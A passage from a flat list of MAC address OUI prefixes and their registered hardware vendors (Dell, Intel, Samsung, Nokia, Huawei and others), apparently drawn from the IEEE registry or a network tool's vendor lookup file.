SEMICONDUCTOR 006076 SCHLUMBERGER TECHNOLOGIES RETAIL PETROLEUM SYSTEMS 0060AE TRIO INFORMATION SYSTEMS AB 00606C ARESCOM 006032 I-CUBE, INC. 006060 Data Innovations North America 00A0EB Encore Networks, Inc. 00A0C1 ORTIVUS MEDICAL AB 00A07D SEEQ TECHNOLOGY, INC. 00A0CF SOTAS, INC. 00A03A KUBOTEK CORPORATION 00A0D7 KASTEN CHASE APPLIED RESEARCH 00A09D JOHNATHON FREEMAN TECHNOLOGIES 00A036 APPLIED NETWORK TECHNOLOGY 00A0D2 ALLIED TELESIS INTERNATIONAL CORPORATION 00A075 MICRON TECHNOLOGY, INC. 00A009 WHITETREE NETWORK 00A060 ACER PERIPHERALS, INC. 00A00C KINGMAX TECHNOLOGY, INC. 0020FD ITV TECHNOLOGIES, INC. 00200D CARL ZEISS 002091 J125, NATIONAL SECURITY AGENCY 002054 Sycamore Networks 0020A7 PAIRGAIN TECHNOLOGIES, INC. 002005 SIMPLE TECHNOLOGY 00202B ADVANCED TELECOMMUNICATIONS MODULES, LTD. 002086 MICROTECH ELECTRONICS LIMITED 002052 RAGULA SYSTEMS 002090 ADVANCED COMPRESSION TECHNOLOGY, INC. 0020A3 Harmonic, Inc 00206A OSAKA COMPUTER CORP. 0020DB XNET TECHNOLOGY, INC. 0020A4 MULTIPOINT NETWORKS 00201C EXCEL, INC. 00209B ERSAT ELECTRONIC GMBH 0020C9 VICTRON BV 0020D1 MICROCOMPUTER SYSTEMS (M) SDN. 002084 OCE PRINTING SYSTEMS, GMBH 0020C2 TEXAS MEMORY SYSTEMS, INC. 0020C8 LARSCOM INCORPORATED 0020EC TECHWARE SYSTEMS CORP. 002083 PRESTICOM INCORPORATED 00206D DATA RACE, INC. 00203A DIGITAL BI0METRICS INC. 00A06C SHINDENGEN ELECTRIC MFG. CO., LTD. 00A0EE NASHOBA NETWORKS 00A0FB TORAY ENGINEERING CO., LTD. 00A0E3 XKL SYSTEMS CORP. 00A01E EST CORPORATION 00A080 Tattile SRL 00A0C2 R.A. SYSTEMS CO., LTD. 00A0CB ARK TELECOMMUNICATIONS, INC. 00A074 PERCEPTION TECHNOLOGY 00A06A Verilink Corporation 00A070 COASTCOM 00A079 ALPS ELECTRIC (USA), INC. 002059 MIRO COMPUTER PRODUCTS AG 0020BC Long Reach Networks Pty Ltd 0020AD LINQ SYSTEMS 002046 CIPRICO, INC. 002071 IBR GMBH 0020A2 GALCOM NETWORKING LTD. 002098 HECTRONIC AB 002065 SUPERNET NETWORKING INC. 002094 CUBIX CORPORATION 0020C3 COUNTER SOLUTIONS LTD. 0020A5 API ENGINEERING 002070 HYNET, LTD. 00201E NETQUEST CORPORATION 002097 APPLIED SIGNAL TECHNOLOGY 0020E8 DATATREK CORPORATION 00204F DEUTSCHE AEROSPACE AG 00202E DAYSTAR DIGITAL 0020B0 GATEWAY DEVICES, INC. 0020A9 WHITE HORSE INDUSTRIAL 002061 GarrettCom, Inc. 0020C6 NECTEC 0020D2 RAD DATA COMMUNICATIONS, LTD. 00A0F8 Zebra Technologies Inc 00A025 REDCOM LABS INC. 00A0D4 RADIOLAN,INC. 00A08A BROOKTROUT TECHNOLOGY, INC. 002093 LANDINGS TECHNOLOGY CORP. 002056 NEOPRODUCTS 0020A6 Proxim Wireless 00C073 XEDIA CORPORATION 00C0D4 AXON NETWORKS, INC. 00C0E5 GESPAC, S.A. 00A0CA FUJITSU DENSO LTD. 00A029 COULTER CORPORATION 00C088 EKF ELEKTRONIK GMBH 00C056 SOMELEC 00C063 MORNING STAR TECHNOLOGIES, INC 00C021 NETEXPRESS 00C049 U.S. ROBOTICS, INC. 00C032 I-CUBED LIMITED 00C051 ADVANCED INTEGRATION RESEARCH 00C085 ELECTRONICS FOR IMAGING, INC. 00C0FE APTEC COMPUTER SYSTEMS, INC. 00C0E8 PLEXCOM, INC. 00C0B2 NORAND CORPORATION 00C0B1 GENIUS NET CO. 00C0D9 QUINTE NETWORK CONFIDENTIALITY 00C038 RASTER IMAGE PROCESSING SYSTEM 00C098 CHUNTEX ELECTRONIC CO., LTD. 00C0DD QLogic Corporation 00C08A Lauterbach GmbH 0040FF TELEBIT CORPORATION 0040D7 STUDIO GEN INC. 004007 TELMAT INFORMATIQUE 00408D THE GOODYEAR TIRE & RUBBER CO. 00402C ISIS DISTRIBUTED SYSTEMS, INC. 00C03D WIESEMANN & THEIS GMBH 00C026 LANS TECHNOLOGY CO., LTD. 0040E2 MESA RIDGE TECHNOLOGIES, INC. 004078 WEARNES AUTOMATION PTE LTD 004062 E-SYSTEMS, INC./GARLAND DIV. 0040D2 PAGINE CORPORATION 0040D0 MITAC INTERNATIONAL CORP. 0040E4 E-M TECHNOLOGY, INC. 0040BF CHANNEL SYSTEMS INTERN'L INC. 004094 SHOGRAPHICS, INC. 00407F FLIR Systems 0040A9 DATACOM INC. 00C07D RISC DEVELOPMENTS LTD. 00C01E LA FRANCAISE DES JEUX 00C084 DATA LINK CORP. LTD. 00C087 UUNET TECHNOLOGIES, INC. 00C033 TELEBIT COMMUNICATIONS APS 00C081 METRODATA LTD. 00C006 NIPPON AVIONICS CO., LTD. 00C013 NETRIX 00C058 DATAEXPERT CORP. 0040E8 CHARLES RIVER DATA SYSTEMS,INC 004030 GK COMPUTER 0080DC PICKER INTERNATIONAL 00C0A8 GVC CORPORATION 00C010 HIRAKAWA HEWTECH CORP. 00C020 ARCO ELECTRONIC, CONTROL LTD. 0040A6 Cray, Inc. 004098 DRESSLER GMBH & CO. 00C0B9 FUNK SOFTWARE, INC. 00C065 SCOPE COMMUNICATIONS, INC. 00C018 LANART CORPORATION 00400D LANNET DATA COMMUNICATIONS,LTD 0040F5 OEM ENGINES 004019 AEON SYSTEMS, INC. 0040A1 ERGO COMPUTING 00407E EVERGREEN SYSTEMS, INC. 0040F6 KATRON COMPUTERS INC. 004076 Sun Conversion Technologies 0040F4 CAMEO COMMUNICATIONS, INC. 00C06D BOCA RESEARCH, INC. 00C0DB IPC CORPORATION (PTE) LTD. 00C0DA NICE SYSTEMS LTD. 00C09B RELIANCE COMM/TEC, R-TEC 00C0B8 FRASER'S HILL LTD. 00C016 ELECTRONIC THEATRE CONTROLS 00C096 TAMURA CORPORATION 00C035 QUINTAR COMPANY 00C0CC TELESCIENCES CO SYSTEMS, INC. 00C078 COMPUTER SYSTEMS ENGINEERING 0040F3 NETCOR 004033 ADDTRON TECHNOLOGY CO., LTD. 0040A3 MICROUNITY SYSTEMS ENGINEERING 0040ED NETWORK CONTROLS INT'NATL INC. 0040AD SMA REGELSYSTEME GMBH 0080D2 SHINNIHONDENKO CO., LTD. 0080DF ADC CODENOLL TECHNOLOGY CORP. 008071 SAI TECHNOLOGY 00803D SURIGIKEN CO.,LTD. 00804B EAGLE TECHNOLOGIES PTY.LTD. 008007 DLOG NC-SYSTEME 008001 PERIPHONICS CORPORATION 008062 INTERFACECO. 0080F3 SUN ELECTRONICS CORP. 00808D WESTCOAST TECHNOLOGY B.V. 0080B2 NETWORK EQUIPMENT TECHNOLOGIES 00805B CONDOR SYSTEMS, INC. 00801C NEWPORT SYSTEMS SOLUTIONS 0080C6 NATIONAL DATACOMM CORPORATION 0080FA RWT GMBH 008084 THE CLOUD INC. 008046 Tattile SRL 0080A6 REPUBLIC TECHNOLOGY, INC. 008009 JUPITER SYSTEMS, INC. 0080B5 UNITED NETWORKS INC. 008035 TECHNOLOGY WORKS, INC. 008088 VICTOR COMPANY OF JAPAN, LTD. 00809E DATUS GMBH 008055 FERMILAB 00802A TEST SYSTEMS & SIMULATIONS INC 0040E3 QUIN SYSTEMS LTD 004091 PROCOMP INDUSTRIA ELETRONICA 004014 COMSOFT GMBH 00400F DATACOM TECHNOLOGIES 004085 SAAB INSTRUMENTS AB 004006 SAMPO TECHNOLOGY CORPORATION 00402D HARRIS ADACOM CORPORATION 004047 WIND RIVER SYSTEMS 0040FA MICROBOARDS, INC. 00002E SOCIETE EVIRA 0000ED APRIL 00003C AUSPEX SYSTEMS INC. 000051 HOB ELECTRONIC GMBH & CO. KG 0000A7 NETWORK COMPUTING DEVICES INC. 0000F7 YOUTH KEEP ENTERPRISE CO LTD 0000FC MEIKO 0000B5 DATABILITY SOFTWARE SYS. INC. 000026 SHA-KEN CO., LTD. 000022 VISUAL TECHNOLOGY INC. 00006D CRAY COMMUNICATIONS, LTD. 0000FA MICROSAGE COMPUTER SYSTEMS INC 00002B CRISP AUTOMATION, INC 000019 APPLIED DYNAMICS INTERNATIONAL 0080D3 SHIVA CORP. 0080A5 SPEED INTERNATIONAL 0080A9 CLEARPOINT RESEARCH 008069 COMPUTONE SYSTEMS 008091 TOKYO ELECTRIC CO.,LTD 0080F4 TELEMECANIQUE ELECTRIQUE 00800C VIDECOM LIMITED 0080E8 CUMULUS CORPORATIION 0000CD Allied Telesis Labs Ltd 0000A5 Tattile SRL 00801E XINETRON, INC. 00804A PRO-LOG 008059 STANLEY ELECTRIC CO., LTD 00806B SCHMID TELECOMMUNICATION 00802C THE SAGE GROUP PLC 008018 KOBE STEEL, LTD. 0080EE THOMSON CSF 008013 THOMAS-CONRAD CORPORATION 00808E RADSTONE TECHNOLOGY 000036 ATARI CORPORATION 0080BD THE FURUKAWA ELECTRIC CO., LTD 0080A8 VITACOM CORPORATION 008042 Artesyn Embedded Technologies 008067 SQUARE D COMPANY 008045 MATSUSHITA ELECTRIC IND. CO 00804C CONTEC CO., LTD. 008020 NETWORK PRODUCTS 004044 QNIX COMPUTER CO., LTD. 0040DD HONG TECHNOLOGIES 00403A IMPACT TECHNOLOGIES 0040C9 NCUBE 004075 Tattile SRL 0080F1 OPUS SYSTEMS 08008F CHIPCOM CORPORATION 080081 ASTECH INC. 08007A INDATA 080078 ACCELL CORPORATION 08006E MASSCOMP 08006D WHITECHAPEL COMPUTER WORKS 08006C SUNTEK TECHNOLOGY INT'L 080067 ComDesign 080063 PLESSEY 080060 INDUSTRIAL NETWORKING INC. 000081 Bay Networks 0000A1 MARQUETTE ELECTRIC CO. 0000F5 DIAMOND SALES LIMITED 0000E5 SIGMEX LTD. 0000BA SIIG, INC. 00002F TIMEPLEX INC. 0000B8 SEIKOSHA CO., LTD. 00007F LINOTYPE-HELL AG 0000B7 DOVE COMPUTER CORPORATION 00009A RC COMPUTER A/S 0000DE CETIA 00004B ICL DATA OY 000013 CAMEX 000095 SONY TEKTRONIX CORP. 080037 FUJI-XEROX CO. LTD. 080031 LITTLE MACHINES INC. 08002B DIGITAL EQUIPMENT CORPORATION 08002A MOSAIC TECHNOLOGIES INC. 080029 Megatek Corporation 080026 NORSK DATA A.S. 08001F SHARP CORPORATION 0000AE DASSAULT ELECTRONIQUE 0000DD TCL INCORPORATED 0000D9 NIPPON TELEGRAPH & TELEPHONE 000046 OLIVETTI NORTH AMERICA 000017 Oracle 00009F AMERISTAR TECHNOLOGIES INC. 0000E3 INTEGRATED MICRO PRODUCTS LTD 000073 SIECOR CORPORATION 0000D3 WANG LABORATORIES INC. 0000B3 CIMLINC INCORPORATED 00009D LOCUS COMPUTING CORPORATION 000060 KONTRON ELEKTRONIK GMBH 000011 NORMEREL SYSTEMES 08006F PHILIPS APELDOORN B.V. 0000B0 RND-RAD NETWORK DEVICES 000071 ADRA SYSTEMS INC. 00006C Private AA0000 DIGITAL EQUIPMENT CORPORATION 0270B0 M/A-COM INC. COMPANIES 00000B MATRIX CORPORATION 080042 JAPAN MACNICS CORP. 026086 LOGIC REPLACEMENT TECH. LTD. 00DD05 UNGERMANN-BASS INC. 00BBF0 UNGERMANN-BASS INC. 0080E9 Madge Ltd. 080055 STANFORD TELECOMM. INC. 080048 EUROTHERM GAUGING SYSTEMS 080049 UNIVATION 00DD02 UNGERMANN-BASS INC. 000003 XEROX CORPORATION 000008 XEROX CORPORATION 080030 CERN 00DD01 UNGERMANN-BASS INC. 18017D Harbin Arteor technology co., LTD 001CDF Belkin International Inc. 944452 Belkin International Inc. 08863B Belkin International Inc. 001556 Sagemcom Broadband SAS 002569 Sagemcom Broadband SAS 001BBF Sagemcom Broadband SAS 4C17EB Sagemcom Broadband SAS 7C034C Sagemcom Broadband SAS 88AE1D COMPAL INFORMATION (KUNSHAN) CO., LTD. 5C353B Compal Broadband Networks, Inc. 1C4419 TP-LINK TECHNOLOGIES CO.,LTD. 749DDC 2Wire Inc 782BCB Dell Inc. B8CA3A Dell Inc. F01FAF Dell Inc. C81F66 Dell Inc. 00183F 2Wire Inc 0019E4 2Wire Inc 001AC4 2Wire Inc 001D5A 2Wire Inc 34EF44 2Wire Inc 982CBE 2Wire Inc 001422 Dell Inc. 001C23 Dell Inc. 00219B Dell Inc. 000874 Dell Inc. 002564 Dell Inc. 842B2B Dell Inc. E0DB55 Dell Inc. A41F72 Dell Inc. 00C04F Dell Inc. F04DA2 Dell Inc. BC305B Dell Inc. 001D09 Dell Inc. F8E079 Motorola Mobility LLC, a Lenovo Company 1430C6 Motorola Mobility LLC, a Lenovo Company 000D67 Ericsson E0757D Motorola Mobility LLC, a Lenovo Company 001E65 Intel Corporate 001F3B Intel Corporate 0016EA Intel Corporate 00216B Intel Corporate 0019D1 Intel Corporate 001CC0 Intel Corporate 5CE0C5 Intel Corporate 183DA2 Intel Corporate 448500 Intel Corporate 809B20 Intel Corporate 100BA9 Intel Corporate 247703 Intel Corporate C48508 Intel Corporate 0026C6 Intel Corporate 74E50B Intel Corporate 58946B Intel Corporate 002710 Intel Corporate 64D4DA Intel Corporate DCA971 Intel Corporate 001CBF Intel Corporate A0A8CD Intel Corporate 340286 Intel Corporate 34DE1A Intel Corporate 80000B Intel Corporate B80305 Intel Corporate 303A64 Intel Corporate ACFDCE Intel Corporate E09467 Intel Corporate 00DBDF Intel Corporate 0C8BFD Intel Corporate E09D31 Intel Corporate CC3D82 Intel Corporate D00ED9 Taicang T&W Electronics 6C2995 Intel Corporate 40E3D6 Aruba Networks 24DEC6 Aruba Networks D8C7C8 Aruba Networks 900BC1 Sprocomm Technologies CO.,Ltd 6C71D9 AzureWave Technology Inc. 384FF0 AzureWave Technology Inc. 0015AF AzureWave Technology Inc. 485D60 AzureWave Technology Inc. 54E4BD FN-LINK TECHNOLOGY LIMITED 98743D Shenzhen Jun Kai Hengye Technology Co. Ltd A04FD4 ADB Broadband Italia 842615 ADB Broadband Italia 5CE2F4 AcSiP Technology Corp. 002662 Actiontec Electronics, Inc 00193E ADB Broadband Italia 0013C8 ADB Broadband Italia DC0B1A ADB Broadband Italia 74888B ADB Broadband Italia ACD074 Espressif Inc. D05349 Liteon Technology Corporation 000941 Allied Telesis R&D Center K.K. 00014A Sony Corporation 94A1A2 AMPAK Technology, Inc. 74DE2B Liteon Technology Corporation 68A3C4 Liteon Technology Corporation C8FF28 Liteon Technology Corporation 0024D2 ASKEY COMPUTER CORP DC64B8 Shenzhen JingHanDa Electronics Co.Ltd C4DA7D Ivium Technologies B.V. 9492BC SYNTECH(HK) TECHNOLOGY LIMITED 001A4F AVM GmbH 00040E AVM GmbH 0016E3 ASKEY COMPUTER CORP 00300A Aztech Electronics Pte Ltd 9CC7A6 AVM GmbH 743170 Arcadyan Technology Corporation A8D3F7 Arcadyan Technology Corporation 7C4FB5 Arcadyan Technology Corporation 0012BF Arcadyan Technology Corporation 04FE8D HUAWEI TECHNOLOGIES CO.,LTD 480031 HUAWEI TECHNOLOGIES CO.,LTD 0019FB BSkyB Ltd 0CF9C0 BSkyB Ltd 001BA9 Brother industries, LTD. 0011B6 Open Systems International E03E44 Broadcom D40129 Broadcom FCB698 Cambridge Industries(Group) Co.,Ltd. 00E03A Cabletron Systems, Inc. 000117 Canal + 0019C7 Cambridge Industries(Group) Co.,Ltd. 006DFB Vutrix Technologies Ltd C81073 CENTURY OPTICOMM CO.,LTD 744AA4 zte corporation 9CD35B Samsung Electronics Co.,Ltd 60AF6D Samsung Electronics Co.,Ltd B85A73 Samsung Electronics Co.,Ltd 103047 Samsung Electronics Co.,Ltd 109266 Samsung Electronics Co.,Ltd B047BF Samsung Electronics Co.,Ltd 7C0BC6 Samsung Electronics Co.,Ltd 804E81 Samsung Electronics Co.,Ltd 244B81 Samsung Electronics Co.,Ltd 50A4C8 Samsung Electronics Co.,Ltd 8425DB Samsung Electronics Co.,Ltd D8C4E9 Samsung Electronics Co.,Ltd 50C8E5 Samsung Electronics Co.,Ltd 446D6C Samsung Electronics Co.,Ltd 38D40B Samsung Electronics Co.,Ltd 647791 Samsung Electronics Co.,Ltd 781FDB Samsung Electronics Co.,Ltd 08FC88 Samsung Electronics Co.,Ltd 30C7AE Samsung Electronics Co.,Ltd 18227E Samsung Electronics Co.,Ltd 00F46F Samsung Electronics Co.,Ltd 9CE6E7 Samsung Electronics Co.,Ltd 0090A2 CyberTAN Technology Inc. 0030DA Comtrend Corporation 64680C Comtrend Corporation 00CF1C Communication Machinery Corporation 0090F5 CLEVO CO. 0030FF DataFab Systems Inc. E498D1 Microsoft Mobile Oy A8A089 Tactical Communications 48365F Wintecronics Ltd. 005A39 SHENZHEN FAST TECHNOLOGIES CO.,LTD 5CC6D0 Skyworth Digital Technology(Shenzhen) Co.,Ltd 080581 Roku, Inc. B0A737 Roku, Inc. B83E59 Roku, Inc. DC3A5E Roku, Inc. 0014A5 Gemtek Technology Co., Ltd. 001742 FUJITSU LIMITED 2C10C1 Nintendo Co., Ltd. CCFB65 Nintendo Co., Ltd. 40D28A Nintendo Co., Ltd. 7CBB8A Nintendo Co., Ltd. 00224C Nintendo Co., Ltd. 0023CC Nintendo Co., Ltd. 002444 Nintendo Co., Ltd. E0E751 Nintendo Co., Ltd. 0017AB Nintendo Co., Ltd. 001BEA Nintendo Co., Ltd. 0015DE Nokia Danmark A/S 001370 Nokia Danmark A/S 00247C Nokia Danmark A/S 0023B4 Nokia Danmark A/S 0021AB Nokia Danmark A/S 001FDF Nokia Danmark A/S 00194F Nokia Danmark A/S 00188D Nokia Danmark A/S 00180F Nokia Danmark A/S 547975 Nokia Corporation 2CCC15 Nokia Corporation 00BD3A Nokia Corporation 0026CC Nokia Danmark A/S 00164E Nokia Danmark A/S 0016BC Nokia Danmark A/S 001ADC Nokia Danmark A/S 002668 Nokia Danmark A/S 001F5C Nokia Danmark A/S 001F00 Nokia Danmark A/S 001E3B Nokia Danmark A/S A04E04 Nokia Corporation 240B0A Palo Alto Networks C4E510 Mechatro, Inc. 74C330 SHENZHEN FAST TECHNOLOGIES CO.,LTD 403F8C TP-LINK TECHNOLOGIES CO.,LTD. 14C3C2 K.A. Schmersal GmbH & Co. KG 10785B Actiontec Electronics, Inc 88A084 Formation Data Systems 0025DC Sumitomo Electric Industries,Ltd 001CFC Sumitomo Electric Industries,Ltd 8CC661 Current, powered by GE 009050 Teleste Corporation BC44B0 Elastifile 7864E6 Green Motive Technology Limited 0080B8 DMG MORI B.U.G. CO., LTD. 40B688 LEGIC Identsystems AG A09D91 SoundBridge 30785C Partow Tamas Novin (Parman) 441102 EDMIEurope Ltd 2C21D7 IMAX Corporation 0026F7 Nivetti Systems Pvt. Ltd. 24C3F9 Securitas Direct AB DC4D23 MRV Comunications 085BDA CliniCare LTD 0C5A9E Wi-SUN Alliance 00C164 Cisco Systems, Inc 98E7F5 HUAWEI TECHNOLOGIES CO.,LTD 24BCF8 HUAWEI TECHNOLOGIES CO.,LTD 10D0AB zte corporation 202DF8 Digital Media Cartridge Ltd. 042DB4 First Property (Beijing) Co., Ltd Modern MOMA Branch 008A96 Cisco Systems, Inc 007888 Cisco Systems, Inc 98DED0 TP-LINK TECHNOLOGIES CO.,LTD. 30FC68 TP-LINK TECHNOLOGIES CO.,LTD. 5CCA1A Microsoft Mobile Oy 000594 HMS Industrial Networks 000AC2 Wuhan FiberHome Digital Technology Co.,Ltd. D4F207 DIAODIAO(Beijing)Technology CO.,Ltd FCF8B7 TRONTEQ Electronic D4883F HDPRO CO., LTD. 001BF3 TRANSRADIO SenderSysteme Berlin AG E0071B Hewlett Packard Enterprise A86AC1 HanbitEDS Co., Ltd. 88B1E1Mojo Networks, Inc. 74DFBF Liteon Technology Corporation FC3F7C HUAWEI TECHNOLOGIES CO.,LTD 608334 HUAWEI TECHNOLOGIES CO.,LTD 84AD58 HUAWEI TECHNOLOGIES CO.,LTD 746FF7 Wistron Neweb Corporation B01BD2 Le Shi Zhi Xin Electronic Technology (Tianjin) Limited 74852A PEGATRON CORPORATION 386077 PEGATRON CORPORATION 60B4F7 Plume Design Inc A4D8CA HONG KONG WATER WORLD TECHNOLOGY CO. LIMITED 00109B Emulex Corporation 00E0D5 Emulex Corporation 001035 Elitegroup Computer Systems Co.,Ltd. ECA86B Elitegroup Computer Systems Co.,Ltd. 4487FC Elitegroup Computer Systems Co.,Ltd. 002197 Elitegroup Computer Systems Co.,Ltd. 649968 Elentec 00208F ECI Telecom Ltd. 9CDF03 Harman/Becker Automotive Systems GmbH 94885E Surfilter Network Technology Co., Ltd. 002378 GN Netcom A/S 002088 GLOBAL VILLAGE COMMUNICATION 90C7D8 zte corporation BC6A44 Commend International GmbH 0020F2 Oracle Corporation 00015D Oracle Corporation 943BB1 Kaonmedia CO., LTD. 146308 JABIL CIRCUIT (SHANGHAI) LTD. 08000D International Computers, Ltd 00D0A2 INTEGRATED DEVICE 0060B1 Input/Output, Inc. 00177D IDT Technology Limited 288A1C Juniper Networks 100E7E Juniper Networks 84B59C Juniper Networks 544B8C Juniper Networks 541E56 Juniper Networks 64649B Juniper Networks 2C6BF5 Juniper Networks 002283 Juniper Networks EC13DB Juniper Networks AC4BC8 Juniper Networks B0A86E Juniper Networks 3C94D5 Juniper Networks F4CC55 Juniper Networks 002159 Juniper Networks 3497F6 ASUSTek COMPUTER INC. 50680A HUAWEI TECHNOLOGIES CO.,LTD D89403 Hewlett Packard Enterprise 9C8D7C ALPS ELECTRIC CO.,LTD. E04F43 Universal Global Scientific Industrial Co., Ltd. B0E03C TCT mobile ltd D09DAB TCT mobile ltd 94D859 TCT mobile ltd 9471AC TCT mobile ltd 70BAEF Hangzhou H3C Technologies Co., Limited 009006 Hamamatsu Photonics K.K. 001AF4 Handreamnet 000AED HARTING Electronics GmbH 1CCB99 TCT mobile ltd 18E3BC TCT mobile ltd 289AFA TCT mobile ltd 44A42D TCT mobile ltd A0D385 AUMA Riester GmbH & Co. KG 1414E6 Ningbo Sanhe Digital Co.,Ltd CC167E Cisco Systems, Inc 600810 HUAWEI TECHNOLOGIES CO.,LTD C85B76 LCFC(HeFei) Electronics Technology co., ltd 001AE8 Unify Software and Solutions GmbH & Co. KG 945907 Shanghai HITE-BELDEN Network Technology Co., Ltd. 48C663 GTO Access Systems LLC 606453 AOD Co.,Ltd. 6C98EB Riverbed Technology, Inc. DC293A Shenzhen Nuoshi Technology Co., LTD. 40562D Smartron India Pvt ltd 70288B Samsung Electronics Co.,Ltd 00809F ALE International B0D7CC Tridonic GmbH & Co KG 7C574E COBI GmbH 34C0F9 Rockwell Automation 20C047 Verizon AC0481 Jiangsu Huaxing Electronics Co., Ltd. FC2D5E zte corporation E811CA SHANDONG KAER ELECTRIC.CO.,LTD ECD68A Shenzhen JMicron Intelligent Technology Developmen 08D0B7 Qingdao Hisense Communications Co.,Ltd. A8AD3D Alcatel-Lucent Shanghai Bell Co., Ltd E03005 Alcatel-Lucent Shanghai Bell Co., Ltd 2824FF Wistron Neweb Corporation 14C1FF ShenZhen QianHai Comlan communication Co.,LTD EC8EB5 Hewlett Packard 70AF6A SHENZHEN FENGLIAN TECHNOLOGY CO., LTD. 0026F1 ProCurve Networking by HP B439D6 ProCurve Networking by HP 001CEF Primax Electronics Ltd. 000276 Primax Electronics Ltd. 4849C7 Samsung Electronics Co.,Ltd 001F9A Nortel Networks 0014C7 Nortel Networks 001540 Nortel Networks 0017D1 Nortel Networks 0015E8 Nortel Networks 001660 Nortel Networks 001BBA Nortel Networks 205EF7 Samsung Electronics Co.,Ltd 00034B Nortel Networks 00001B Novell, Inc. 00E011 UNIDEN CORPORATION B03EB0 MICRODIA Ltd. 00126C Visonic Technologies 1993 Ltd. 18ABF5 Ultra Electronics Electrics 304487 Hefei Radio Communication Technology Co., Ltd AC6175 HUAWEI TECHNOLOGIES CO.,LTD AC482D Ralinwi Nanjing Electronic Technology Co., Ltd. A48269 Datrium, Inc. 441441 AudioControl Inc. 0018DA AMBER wireless GmbH EC24B8 Texas Instruments 68C90B Texas Instruments F4B85E Texas Instruments 5C313E Texas Instruments A0E6F8 Texas Instruments 20C38F Texas Instruments D0FF50 Texas Instruments 7472B0 Guangzhou Shiyuan Electronics Co., Ltd. 44BFE3 Shenzhen Longtech Electronics Co.,Ltd F45214 Mellanox Technologies, Inc. 689E19 Texas Instruments 985945 Texas Instruments 1CE2CC Texas Instruments 44C15C Texas Instruments 0017E9 Texas Instruments 0017E7 Texas Instruments D00790 Texas Instruments 04E451 Texas Instruments B0D5CC Texas Instruments 5CF821 Texas Instruments FC0F4B Texas Instruments 3C6FEA Panasonic India Pvt. Ltd. A863F2 Texas Instruments 948854 Texas Instruments 001237 Texas Instruments BC6A29 Texas Instruments C0E422 Texas Instruments 001830 Texas Instruments 1CBA8C Texas Instruments 58FB84 Intel Corporate E0E7BB Nureva, Inc. 7CA97D Objenious BC8AA3 NHN Entertainment 70A84C MONAD., Inc. 00A289 Cisco Systems, Inc 6C1E90 Hansol Technics Co., Ltd. E09DFA Wanan Hongsheng Electronic Co.Ltd 34E71C Shenzhen YOUHUA Technology Co., Ltd 182861 AirTies Wireless Networks 8841FC AirTies Wireless Networks 182666 Samsung Electronics Co.,Ltd C06599 Samsung Electronics Co.,Ltd CC07AB Samsung Electronics Co.,Ltd E84E84 Samsung Electronics Co.,Ltd 50FC9F Samsung Electronics Co.,Ltd E432CB Samsung Electronics Co.,Ltd 889B39 Samsung Electronics Co.,Ltd BCB1F3 Samsung Electronics Co.,Ltd 38ECE4 Samsung Electronics Co.,Ltd CCF9E8 Samsung Electronics Co.,Ltd F0E77E Samsung Electronics Co.,Ltd 5CE8EB Samsung Electronics Co.,Ltd B8D9CE Samsung Electronics Co.,Ltd 70F927 Samsung Electronics Co.,Ltd 301966 Samsung Electronics Co.,Ltd 28BAB5 Samsung Electronics Co.,Ltd 103B59 Samsung Electronics Co.,Ltd 6CB7F4 Samsung Electronics Co.,Ltd 001EE1 Samsung Electronics Co.,Ltd 0018AF Samsung Electronics Co.,Ltd BC72B1 Samsung Electronics Co.,Ltd 78F7BE Samsung Electronics Co.,Ltd F49F54 Samsung Electronics Co.,Ltd 7C11CB HUAWEI TECHNOLOGIES CO.,LTD A4CAA0 HUAWEI TECHNOLOGIES CO.,LTD 00214C Samsung Electronics Co.,Ltd 001632 Samsung Electronics Co.,Ltd D0667B Samsung Electronics Co.,Ltd 38AA3C SAMSUNG ELECTRO MECHANICS CO., LTD. 206432 SAMSUNG ELECTRO MECHANICS CO., LTD. 002637 SAMSUNG ELECTRO MECHANICS CO., LTD. 001377 Samsung Electronics Co.,Ltd 50B7C3 Samsung Electronics Co.,Ltd 8018A7 Samsung Electronics Co.,Ltd 5CA39D SAMSUNG ELECTRO MECHANICS CO., LTD. B88EDF Zencheer Communication Technology Co., Ltd. D85DE2 Hon Hai Precision Ind. Co.,Ltd. 707781 Hon Hai Precision Ind. Co.,Ltd. 606DC7 Hon Hai Precision Ind. Co.,Ltd. 681401 Hon Hai Precision Ind. Co.,Ltd. 0071CC Hon Hai Precision Ind. Co.,Ltd. F866D1 Hon Hai Precision Ind. Co.,Ltd. F80D43 Hon Hai Precision Ind. Co.,Ltd. 002268 Hon Hai Precision Ind. Co.,Ltd. 001FE1 Hon Hai Precision Ind. Co.,Ltd. 002556 Hon Hai Precision Ind. Co.,Ltd. 00265C Hon Hai Precision Ind. Co.,Ltd. 90CDB6 Hon Hai Precision Ind. Co.,Ltd. 001E4C Hon Hai Precision Ind. Co.,Ltd. F8DA0C Hon Hai Precision Ind. Co.,Ltd. 9034FC Hon Hai Precision Ind. Co.,Ltd. 906EBB Hon Hai Precision Ind. Co.,Ltd. 342387 Hon Hai Precision Ind. Co.,Ltd. 689423 Hon Hai Precision Ind. Co.,Ltd. B8763F Hon Hai Precision Ind. Co.,Ltd. 1C3E84 Hon Hai Precision Ind. Co.,Ltd. C01885 Hon Hai Precision Ind. Co.,Ltd. 785968 Hon Hai Precision Ind. Co.,Ltd. 1C666D Hon Hai Precision Ind. Co.,Ltd. CCAF78 Hon Hai Precision Ind. Co.,Ltd. 904CE5 Hon Hai Precision Ind. Co.,Ltd. B01041 Hon Hai Precision Ind. Co.,Ltd. 7487A9 OCT Technology Co., Ltd. E0286D AVM Audiovisuelles Marketing und Computersysteme GmbH 444E1A Samsung Electronics Co.,Ltd E8E5D6 Samsung Electronics Co.,Ltd 5492BE Samsung Electronics Co.,Ltd 101DC0 Samsung Electronics Co.,Ltd 0021D1 Samsung Electronics Co.,Ltd 5CA933 Luma Home 2CDD95 Taicang T&W Electronics AC84C9 Sagemcom Broadband SAS 107223 TELLESCOM INDUSTRIA E COMERCIO EM TELECOMUNICACAO CCB0DA Liteon Technology Corporation 14EDBB 2Wire Inc 44BA46 SICHUAN TIANYI COMHEART TELECOMCO.,LTD B4D135 Cloudistics 085DDD MERCURY CORPORATION 6CEC5A Hon Hai Precision Ind. CO.,Ltd. 5001D9 HUAWEI TECHNOLOGIES CO.,LTD 44C346 HUAWEI TECHNOLOGIES CO.,LTD 884477 HUAWEI TECHNOLOGIES CO.,LTD 047503 HUAWEI TECHNOLOGIES CO.,LTD 2C402B Smart iBlue Technology Limited 180675 Dilax Intelcom GmbH 30AEA4 Espressif Inc. 0C4933 Sichuan Jiuzhou Electronic Technology Co., Ltd. B05216 Hon Hai Precision Ind. Co.,Ltd. 002926 Applied Optoelectronics, Inc 